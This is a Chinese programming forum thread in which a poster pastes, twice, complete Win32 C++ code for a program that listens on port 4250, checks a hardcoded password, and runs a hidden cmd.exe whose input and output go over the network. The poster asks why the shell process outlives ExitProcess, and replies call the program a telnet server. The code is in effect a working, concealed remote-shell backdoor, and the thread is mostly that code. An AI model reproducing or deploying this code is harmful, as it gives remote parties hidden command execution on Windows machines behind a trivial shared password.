请见最后的Exit6和Exit5部分
非常奇怪,我的程序如果是从exit5往下执行,产生的cmd.exe子进程居然可以退出。难道是因为cmd.exe子进程是由该子线程产生的,线程退出,则cmd.exe子进程也退出了。而直接从Exit6用ExitProcess结束进程,cmd.exe却并不会终止(这里是越想越混大虾请指点)#include <winsock2.h>
#include <windows.h>#pragma comment(lib,"ws2_32.lib")/*
MyRecv的功能是在一个指定的套接字*psockid上接受最多buflen个字符
到pbuf指向的缓冲区中,或是收到回车也返回,因为telnet是按一下键发一个字符的
*/bool bStart = false;
int iThreadCount = 0;long MyRecv(SOCKET *psockid=NULL,
char *pbuf=NULL,
const unsigned long buflen=0);DWORD WINAPI UserThread(SOCKET *UserSockid=NULL);const char *baner = "\n\rAuthor:\tsjdf\n\rEmail:\[email protected]\n\r\n\r";
const char *pwd = "123456";
int pwdlen = strlen(pwd);int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
const unsigned short myport = 4250;
WSADATA wsadata;
if (WSAStartup(MAKEWORD(2,0),&wsadata) != 0)
{
return 1;
}
SOCKET sockid = INVALID_SOCKET;
if ((sockid = socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
{
WSACleanup();
return 1;
} sockaddr_in srv_addr;
int addrlen = sizeof(srv_addr); srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.S_un.S_addr = INADDR_ANY;
srv_addr.sin_port = htons(myport);
memset(&srv_addr.sin_zero,0,8); if (bind(sockid,(sockaddr*)&srv_addr,addrlen) < 0)
{
closesocket(sockid);
WSACleanup();
return 1;
} listen(sockid,3);
SOCKET *msgsockid = NULL;
DWORD threadid; while (true) //循环等待,如有新的连接请求就接收
{
msgsockid = new SOCKET;
*msgsockid = accept(sockid, (sockaddr*)&srv_addr,NULL);
if (*msgsockid == INVALID_SOCKET)
{
delete msgsockid;
Sleep(1000);
}
else
{
if (CreateThread(0,
0,
(LPTHREAD_START_ROUTINE)UserThread,
msgsockid,
0,
&threadid) == NULL)
{
delete msgsockid;
Sleep(1000);
}
}
} return 0;
}long MyRecv(SOCKET *psockid,char *pbuf,const long buflen)
{
memset(pbuf,0,buflen);
long count = 0;
do
{
if (count >= buflen)
{
return count;
} if (recv(*psockid,pbuf+count,1,0) < 0)
{
return -1;
} }while (pbuf[count++] != '\n'); return count;
}//为每个用户使用这个线程创建shellDWORD WINAPI UserThread(SOCKET *UserSockid)
{
char recvbuf[1024];
char sendbuf[2048];
const long recvbuflen = sizeof(recvbuf);
const long sendbuflen = sizeof(sendbuf); unsigned long cmdtouserlen,usertocmdlen;
HANDLE hClientReadPipe, hClientWritePipe;
HANDLE hCmdWritePipe, hCmdReadPipe;
PROCESS_INFORMATION processinfo;
iThreadCount++; //接收口令
if (MyRecv(UserSockid,recvbuf,recvbuflen) < 0)
{
goto exit3;
} //验证口令
if (memcmp(recvbuf,pwd,pwdlen) != 0)
{
goto exit3;
}
//发送登录Baner
if (send(*UserSockid,baner,strlen(baner),0) < 0)
{
goto exit3;
} //创建管道
SECURITY_ATTRIBUTES pipeattr;
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE; if (CreatePipe(&hClientReadPipe,
&hCmdWritePipe,
&pipeattr,
0) == 0)
{
goto exit3;
} if (CreatePipe(&hCmdReadPipe,
&hClientWritePipe,
&pipeattr,
0) == 0)
{
goto exit4;
} //启动cmd.exe
STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hCmdReadPipe;
startinfo.hStdError = hCmdWritePipe;
startinfo.hStdOutput = hCmdWritePipe;
startinfo.wShowWindow = SW_HIDE;
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1); strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP,
NULL,
NULL,
NULL,
true,
0,
NULL,
NULL,
&startinfo,
&processinfo) == 0)
{
goto exit5;
}
while(true)
{
if (PeekNamedPipe(hClientReadPipe,
sendbuf,
sendbuflen,
&cmdtouserlen,
0,
0) == 0)
{
goto exit5;
} if(cmdtouserlen == 0)
{
if ((usertocmdlen=MyRecv(UserSockid,recvbuf,recvbuflen)) < 0)
{
goto exit5;
}
if (WriteFile(hClientWritePipe,
recvbuf,
usertocmdlen,
&usertocmdlen,
0) == 0)
{
goto exit5;
} if (memcmp(recvbuf,"exit",4) == 0)
{
goto exit5;
} if (memcmp(recvbuf,"shut",4) == 0)
{
goto exit6;
} Sleep(200);
}
else
{
memset(sendbuf,0,sendbuflen);
if (ReadFile(hClientReadPipe,
sendbuf,
cmdtouserlen,
&cmdtouserlen,0) == 0)
{
goto exit5;
} if (send(*UserSockid,sendbuf,cmdtouserlen,0) == SOCKET_ERROR)
{
goto exit5;
}
}
}exit6: CloseHandle(hCmdReadPipe);
CloseHandle(hClientReadPipe);
closesocket(*UserSockid);
delete UserSockid;
ExitProcess(0); exit5: CloseHandle(hCmdReadPipe);
exit4: CloseHandle(hClientReadPipe);
exit3: closesocket(*UserSockid);
exit2: delete UserSockid;
exit1: return 1;
}非常奇怪,我的程序如果是从exit5往下执行,产生的cmd.exe子进程居然可以退出。难道是因为cmd.exe子进程是由该子线程产生的,线程退出,则cmd.exe子进程也退出了。而直接从Exit6用ExitProcess结束进程,cmd.exe却并不会终止(这里是越想越混大虾请指点)
非常奇怪,我的程序如果是从exit5往下执行,产生的cmd.exe子进程居然可以退出。难道是因为cmd.exe子进程是由该子线程产生的,线程退出,则cmd.exe子进程也退出了。而直接从Exit6用ExitProcess结束进程,cmd.exe却并不会终止(这里是越想越混大虾请指点)#include <winsock2.h>
#include <windows.h>#pragma comment(lib,"ws2_32.lib")/*
MyRecv的功能是在一个指定的套接字*psockid上接受最多buflen个字符
到pbuf指向的缓冲区中,或是收到回车也返回,因为telnet是按一下键发一个字符的
*/bool bStart = false;
int iThreadCount = 0;long MyRecv(SOCKET *psockid=NULL,
char *pbuf=NULL,
const unsigned long buflen=0);DWORD WINAPI UserThread(SOCKET *UserSockid=NULL);const char *baner = "\n\rAuthor:\tsjdf\n\rEmail:\[email protected]\n\r\n\r";
const char *pwd = "123456";
int pwdlen = strlen(pwd);int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
const unsigned short myport = 4250;
WSADATA wsadata;
if (WSAStartup(MAKEWORD(2,0),&wsadata) != 0)
{
return 1;
}
SOCKET sockid = INVALID_SOCKET;
if ((sockid = socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
{
WSACleanup();
return 1;
} sockaddr_in srv_addr;
int addrlen = sizeof(srv_addr); srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.S_un.S_addr = INADDR_ANY;
srv_addr.sin_port = htons(myport);
memset(&srv_addr.sin_zero,0,8); if (bind(sockid,(sockaddr*)&srv_addr,addrlen) < 0)
{
closesocket(sockid);
WSACleanup();
return 1;
} listen(sockid,3);
SOCKET *msgsockid = NULL;
DWORD threadid; while (true) //循环等待,如有新的连接请求就接收
{
msgsockid = new SOCKET;
*msgsockid = accept(sockid, (sockaddr*)&srv_addr,NULL);
if (*msgsockid == INVALID_SOCKET)
{
delete msgsockid;
Sleep(1000);
}
else
{
if (CreateThread(0,
0,
(LPTHREAD_START_ROUTINE)UserThread,
msgsockid,
0,
&threadid) == NULL)
{
delete msgsockid;
Sleep(1000);
}
}
} return 0;
}long MyRecv(SOCKET *psockid,char *pbuf,const long buflen)
{
memset(pbuf,0,buflen);
long count = 0;
do
{
if (count >= buflen)
{
return count;
} if (recv(*psockid,pbuf+count,1,0) < 0)
{
return -1;
} }while (pbuf[count++] != '\n'); return count;
}//为每个用户使用这个线程创建shellDWORD WINAPI UserThread(SOCKET *UserSockid)
{
char recvbuf[1024];
char sendbuf[2048];
const long recvbuflen = sizeof(recvbuf);
const long sendbuflen = sizeof(sendbuf); unsigned long cmdtouserlen,usertocmdlen;
HANDLE hClientReadPipe, hClientWritePipe;
HANDLE hCmdWritePipe, hCmdReadPipe;
PROCESS_INFORMATION processinfo;
iThreadCount++; //接收口令
if (MyRecv(UserSockid,recvbuf,recvbuflen) < 0)
{
goto exit3;
} //验证口令
if (memcmp(recvbuf,pwd,pwdlen) != 0)
{
goto exit3;
}
//发送登录Baner
if (send(*UserSockid,baner,strlen(baner),0) < 0)
{
goto exit3;
} //创建管道
SECURITY_ATTRIBUTES pipeattr;
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE; if (CreatePipe(&hClientReadPipe,
&hCmdWritePipe,
&pipeattr,
0) == 0)
{
goto exit3;
} if (CreatePipe(&hCmdReadPipe,
&hClientWritePipe,
&pipeattr,
0) == 0)
{
goto exit4;
} //启动cmd.exe
STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hCmdReadPipe;
startinfo.hStdError = hCmdWritePipe;
startinfo.hStdOutput = hCmdWritePipe;
startinfo.wShowWindow = SW_HIDE;
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1); strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP,
NULL,
NULL,
NULL,
true,
0,
NULL,
NULL,
&startinfo,
&processinfo) == 0)
{
goto exit5;
}
while(true)
{
if (PeekNamedPipe(hClientReadPipe,
sendbuf,
sendbuflen,
&cmdtouserlen,
0,
0) == 0)
{
goto exit5;
} if(cmdtouserlen == 0)
{
if ((usertocmdlen=MyRecv(UserSockid,recvbuf,recvbuflen)) < 0)
{
goto exit5;
}
if (WriteFile(hClientWritePipe,
recvbuf,
usertocmdlen,
&usertocmdlen,
0) == 0)
{
goto exit5;
} if (memcmp(recvbuf,"exit",4) == 0)
{
goto exit5;
} if (memcmp(recvbuf,"shut",4) == 0)
{
goto exit6;
} Sleep(200);
}
else
{
memset(sendbuf,0,sendbuflen);
if (ReadFile(hClientReadPipe,
sendbuf,
cmdtouserlen,
&cmdtouserlen,0) == 0)
{
goto exit5;
} if (send(*UserSockid,sendbuf,cmdtouserlen,0) == SOCKET_ERROR)
{
goto exit5;
}
}
}exit6: CloseHandle(hCmdReadPipe);
CloseHandle(hClientReadPipe);
closesocket(*UserSockid);
delete UserSockid;
ExitProcess(0); exit5: CloseHandle(hCmdReadPipe);
exit4: CloseHandle(hClientReadPipe);
exit3: closesocket(*UserSockid);
exit2: delete UserSockid;
exit1: return 1;
}非常奇怪,我的程序如果是从exit5往下执行,产生的cmd.exe子进程居然可以退出。难道是因为cmd.exe子进程是由该子线程产生的,线程退出,则cmd.exe子进程也退出了。而直接从Exit6用ExitProcess结束进程,cmd.exe却并不会终止(这里是越想越混大虾请指点)
解决方案 »
- ON_BN_CLICKED是如何把按钮控件的WM_LBUTTONDOWN/WM_LBUTTONUP转化成一个消息的?
- vc如何实现 类似有道词典的提示 显示。。。
- 确保数组数据唯一性
- STL编程发现vector可以作为一个返回值.它是怎么进行内存释放的??????
- 先祝大家新年快乐!我想在状态栏实现一个动态的效果,请问怎么实现啊?
- 问一个有关MIDL.EXE 的初级问题!!
- ???CTreeCtrl中得到准确的鼠标位置
- 怎样在对话框中获得对话框的大小和设定区域????
- 编译时出现这个提示 怎么解决?
- MSDN安装注意!!
- 双缓冲问题?
- 在visual c++6.0 的里,我发觉工具栏里的那个buildExecute (叹号)的快捷键有时是“ctrl+F5”,有时却是: “ctrl+D”,请问怎会这样的
程序我也没全部弄懂,大致解释一下。
程序功能:实现一个telnet服务器,支持最多3个客户
实现原理:首先建立一侦听的socket,如有客户端请求连接,则另产生一个socket与客户建立连接。并用CreateThread产生一个子线程来处理和客户端的连接,在该子线程中用CreateProcess打开一个cmd.exe进程。
如下:
客户端----------程序进程---------cmd.exe进程
客户端和程序进程之间通过socket进行网络通讯。
程序进程和cmd.exe之间则通过CreatePipe建立了两条不同方向的管道来进行通讯。
例如客户端发送dir给程序进程,程序进程通过管道,发给cmd.exe。
cmd.exe执行dir,将结果通过管道,发给程序进程,再由程序进程发给客户端。
从而实现远程的telnet操作。
同意你的观点。我也感觉在结束线程时各种资源的释放好象比较混乱,再加上我也是刚刚接触这些东西,实在觉得无法弄清头绪,有时只能凭猜测。不过在线程用return 1结束后,cmd.exe进程居然能够终止,这点我怎么都想不出合适的理由。我在ExitProcess前面加了个
TerminateProcess(processinfo.hProcess,0)将cmd.exe进程中止了,不过感觉似乎还有资源未释放的问题,还请大家帮忙分析指点。